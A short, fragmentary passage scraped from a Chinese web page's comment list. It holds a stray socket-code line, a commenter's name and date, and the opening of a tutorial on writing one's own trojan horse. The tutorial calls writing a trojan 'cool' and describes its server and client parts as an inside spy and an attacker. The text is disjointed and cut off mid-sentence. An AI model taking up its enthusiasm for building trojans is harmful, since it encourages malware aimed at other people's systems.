  • 0) { Socket-SendText("Fail By Open File"); file://返回“Fail By Open Fil
  •  可难猫爷
     发布于 2022-06-11 22:03:11  回复该评论
  • 它在中国的网络安全方面可以说是一个划时代的软件。 自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/I

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